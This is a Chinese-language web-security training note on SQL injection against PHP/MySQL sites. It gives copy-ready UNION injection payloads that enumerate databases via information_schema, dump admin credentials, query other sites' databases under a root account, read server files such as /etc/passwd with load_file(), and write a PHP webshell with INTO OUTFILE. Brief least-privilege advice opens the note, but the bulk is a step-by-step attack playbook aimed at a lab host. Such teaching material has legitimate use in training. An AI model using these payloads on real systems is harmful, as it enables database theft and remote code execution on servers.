042-WEB 攻防:PHP 应用 & MYSQL 架构 & SQL 注入 & 跨库查询 & 文件读写 & 权限操作
二、核心知识点与演示案例
1. 核心知识点
-
PHP-MYSQL-SQL 注入 - 常规查询
-
PHP-MYSQL-SQL 注入 - 跨库查询
-
PHP-MYSQL-SQL 注入 - 文件读写
2. 演示案例
-
PHP-MYSQL-Web 组成架构解析
-
PHP-MYSQL-SQL 常规查询实战
-
PHP-MYSQL-SQL 跨库查询实战
-
PHP-MYSQL-SQL 文件读写实战
三、PHP-MYSQL-Web 组成架构
1. 架构核心逻辑
服务器部署 MySQL 数据库,集中管理多个 Web 站点的数据库;站点与数据库的关联通过 “数据库用户” 实现,核心差异在于 “用户权限分配策略”,两种主流方案如下:
2. 两种数据库管理方案对比
管理方案 | 实现逻辑 | 优缺点分析 |
---|---|---|
1. 统一 root 用户管理 | 所有站点(如www.zblog.com、www.demo01.com)均使用 MySQL 的 root 用户连接数据库 | 优点:配置简单,无需创建多个用户;缺点:权限过度集中,一个站点被注入则所有站点数据库暴露 |
2. 一对一用户管理(推荐) | 为每个站点创建独立数据库用户(如 zblog 站点用 zblog 用户、demo01 站点用 demo01 用户),仅授予对应数据库的操作权限 | 优点:权限最小化,单个站点漏洞不影响其他站点;缺点:配置稍复杂,需逐个管理用户权限 |
3. 架构安全建议
-
生产环境强制使用 “一对一用户管理”,避免 root 用户直接关联 Web 应用;
-
数据库用户仅授予 “SELECT/INSERT/UPDATE/DELETE” 等必要权限,禁用 “FILE”“SUPER” 等高危权限(防止文件读写注入)。
四、PHP-MYSQL-SQL 常规查询(注入核心流程)
1. SQL 注入的核心概念
-
原理:Web 应用接收用户输入的参数后,未过滤特殊字符(如 '、and、or、union 等) ,直接将参数代入 MySQL 查询语句执行,导致攻击者可构造恶意 SQL 语句控制查询结果。
-
本质:“利用 SQL 语句的灵活性,将用户输入从‘数据’伪装成‘指令’”——MySQL 支持的操作(查、改、删、读写文件),注入均可尝试实现。
-
关键前提:参数未过滤、查询结果可回显(或存在盲注条件)、数据库用户有对应操作权限。
2. 核心辅助表:information_schema(MySQL 5.0 + 必备)
information_schema是 MySQL 自带的 “元数据库”,存储所有数据库、表、列的结构信息,是注入中 “猜解数据结构” 的核心工具,关键表与列如下:
表名 | 核心列名 | 作用描述 |
---|---|---|
information_schema.schemata | schema_name | 存储所有数据库的名称,用于跨库查询或全局猜解数据库 |
information_schema.tables | table_schema | 关联 “数据库名”,用于筛选指定数据库下的表 |
information_schema.tables | table_name | 存储表名,用于猜解目标数据库中的表结构 |
information_schema.columns | table_name | 关联 “表名”,用于筛选指定表下的列 |
information_schema.columns | column_name | 存储列名,用于猜解目标表中的字段(如 username、password) |
3. 常规注入完整流程(以 “获取 admin 表账号密码” 为例)
步骤 1:判断注入点与列数(order by)
-
目的:确定当前查询的表包含多少列(后续 union 查询需保持列数一致)。
-
SQL 示例:http://192.168.137.1:84/new.php?id=1 order by 6
-
逻辑:
-
- 若页面正常显示,说明表至少有 6 列;
-
- 若页面报错(如 “Unknown column '7' in 'order clause'”),说明表仅有 6 列(输入 7 时超出)。
-
注意:从较小数字(如 1、2)逐步递增,避免直接输入大数字浪费时间。
步骤 2:确认回显位置(union select)
-
目的:找到查询结果中 “可在页面显示” 的列(后续将敏感信息代入这些列)。
-
SQL 示例:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6
-
逻辑:
-
- 用id=-1让原查询无结果,仅显示 union 查询的内容;
-
- 若页面显示 “2、4、5”,说明第 2、4、5 列是回显列(后续将数据库信息代入这些列)。
步骤 3:获取基础信息(数据库名、用户、版本)
-
目的:判断是否具备进一步注入的条件(如 MySQL 版本是否 5.0+、是否为 root 用户)。
-
SQL 示例:
-
- 查数据库名与用户:id=-1 union select 1,2,3,database(),user(),6(回显第 4 列显示数据库名,第 5 列显示当前用户);
-
- 查版本与操作系统:id=-1 union select 1,2,3,version(),@@version_compile_os,6(第 4 列显示版本,第 5 列显示系统,如 Windows NT、Linux)。
-
关键判断:
-
- 若version()返回 5.0 以上,说明支持 information_schema 表;
-
- 若user()返回root@localhost,说明具备高权限(可尝试跨库、文件读写)。
步骤 4:猜解目标数据库下的表名
-
目的:找到存储敏感信息的表(如 admin、user、member)。
-
SQL 示例:id=-1 union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
-
参数说明:
-
- group_concat():将多个表名拼接为一个字符串(避免分页显示);
-
- table_schema='demo01':指定目标数据库(步骤 3 中database()获取的结果)。
-
预期结果:回显列显示admin,user,article(假设 demo01 数据库包含这 3 个表)。
步骤 5:猜解目标表下的列名
-
目的:找到表中存储敏感数据的字段(如 username、password)。
-
SQL 示例:id=-1 union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin' and table_schema='demo01'
-
注意:若表名被单引号过滤,可使用 Hex 编码(如table_name=0x61646D696E,0x 后为 “admin” 的十六进制)。
-
预期结果:回显列显示id,username,password,email。
步骤 6:获取敏感数据(账号密码)
-
目的:读取 admin 表中的实际数据。
-
SQL 示例:id=-1 union select 1,2,3,username,password,6 from admin limit 0,1
-
参数说明:
-
- limit 0,1:读取第 1 行数据(0 表示起始索引,1 表示读取数量);
-
- 若需读取多行,修改为limit 1,1(第 2 行)、limit 2,1(第 3 行)等。
-
后续处理:若 password 是 MD5 加密,需用 MD5 解密工具(如 CMD5、PMD5)破解。
五、PHP-MYSQL-SQL 跨库查询(高权限注入)
1. 跨库查询的核心逻辑
-
定义:通过 A 网站的 SQL 注入点,查询 MySQL 服务器中 B 网站的数据库数据(如通过 demo01 站点注入获取 zblog 站点的账号密码)。
-
本质:利用 MySQL 的 “跨库访问语法”(数据库名.表名),结合 root 用户对所有数据库的访问权限实现。
2. 跨库查询的必要条件
-
数据库用户为 root:只有 root 用户拥有 “访问所有数据库” 的权限,普通用户仅能访问自身关联的数据库;
-
已知目标数据库名:需通过information_schema.schemata获取所有数据库名(确定要查询的 B 网站数据库);
-
注入点支持 union 查询:需通过 union 语句构造跨库查询逻辑。
3. 跨库查询完整流程(以 “demo01 注入→查 zblog 数据库” 为例)
步骤 1:获取所有数据库名(确定目标库)
-
SQL 示例:id=-1 union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata
-
预期结果:回显列显示information_schema,demo01,zblog,mysql(确定目标数据库为 zblog)。
步骤 2:查询目标数据库下的表名
-
SQL 示例:id=-1 union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'
-
预期结果:回显列显示zbp_member,zbp_article,zbp_comment(目标表为 zbp_member,存储用户信息)。
步骤 3:查询目标表下的列名
-
SQL 示例:id=-1 union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'
-
预期结果:回显列显示mem_ID,mem_Name,mem_Password,mem_Email(敏感字段为 mem_Name、mem_Password)。
步骤 4:读取目标表的敏感数据
-
SQL 示例:id=-1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member
-
关键语法:zblog.zbp_member表示 “zblog 数据库下的 zbp_member 表”,必须显式指定 “数据库名。表名”,否则会报错(找不到表)。
-
预期结果:回显列显示 zblog 站点的用户名(如 admin)和加密后的密码。
4. 常见问题与解决方案
问题现象 | 原因分析 | 解决方案 |
---|---|---|
报错 “Table 'demo01.zbp_member' doesn't exist” | 未指定目标数据库,默认从当前数据库(demo01)查询 | 在表名前添加目标数据库名:zblog.zbp_member |
单引号被过滤(如table_schema='zblog'报错) | 应用对单引号进行了转义或过滤 | 使用 Hex 编码:table_schema=0x7A626C6F67(0x 后为 “zblog” 的十六进制) |
无法查询其他数据库 | 当前用户不是 root,仅有权限访问 demo01 | 放弃跨库,专注于当前数据库(demo01)的敏感数据提取 |
六、PHP-MYSQL-SQL 文件读写(高危操作)
1. 文件读写的必要条件
-
root 用户权限:只有 root 用户可修改secure-file-priv配置,且具备文件读写权限;
-
secure-file-priv 配置允许:
-
- MySQL 默认禁用文件读写(secure-file-priv=null),需在my.ini(Windows)或my.cnf(Linux)中配置路径;
-
- 示例配置:secure-file-priv = "G:/develop/safety/phpstudy_pro/WWW/"(仅允许读写该目录下的文件);
-
- 配置后需重启 MySQL 服务生效。
- 已知文件路径:需知道 Web 根目录或目标文件的绝对路径(否则无法定位文件)。
2. 文件读写实战流程
(1)读取文件(load_file () 函数)
-
目的:读取服务器上的敏感文件(如配置文件、密码文件)。
-
SQL 示例:
-
- 读取 Windows 下的文件:id=-1 union select 1,load_file('D:/1.txt'),3,4,5,6;
-
- 读取 Linux 下的文件:id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6(/etc/passwd 是 Linux 用户密码文件)。
-
常见可读取文件:
-
- Web 配置文件:G:/develop/safety/phpstudy_pro/WWW/demo01/config.php(存储数据库连接信息);
-
- 中间件配置:C:/xampp/apache/conf/httpd.conf(Apache 根目录配置);
-
- 系统文件:Windows 的C:/Windows/system32/drivers/etc/hosts、Linux 的/var/log/apache2/access.log(日志文件)。
(2)写入文件(into outfile)
-
目的:向服务器写入恶意文件(如一句话木马),获取 Webshell 权限。
-
SQL 示例 1:写入普通文件:id=-1 union select 1,'test content',3,4,5,6 into outfile 'G:/develop/safety/phpstudy_pro/WWW/demo01/test.txt'
-
SQL 示例 2:写入一句话木马:id=-1 union select 1,'',3,4,5,6 into outfile 'G:/develop/safety/phpstudy_pro/WWW/demo01/xiaodi.php'
-
木马作用:通过 POST 请求向xiaodi.php传递x参数(如x=phpinfo();),即可执行任意 PHP 代码(如查看服务器信息、上传文件)。
-
注意:
-
- 路径必须是 Web 根目录下(否则无法通过 HTTP 访问木马文件);
-
- Windows 路径需用\转义(如G:\develop\...)或/(MySQL 支持两种路径分隔符)。
3. 如何获取文件路径(关键难题)
路径获取方式 | 实现方法 |
---|---|
1. 报错信息泄露 | 故意构造错误 SQL(如id=1'),若页面显示 “File 'G:/.../new.php' not found”,直接获取路径 |
2. phpinfo 页面 | 若应用有 phpinfo 页面(如http://xxx.com/phpinfo.php),查看 “DOCUMENT_ROOT” 字段(Web 根目录) |
3. 常见默认路径 | 利用中间件默认路径:- XAMPP(Windows):C:/xampp/htdocs/;- WAMP:C:/wamp/www/;- Linux Apache:/var/www/html/ |
4. 日志文件推断 | 读取 Apache/Nginx 日志文件(如/var/log/apache2/access.log),从请求记录中获取路径 |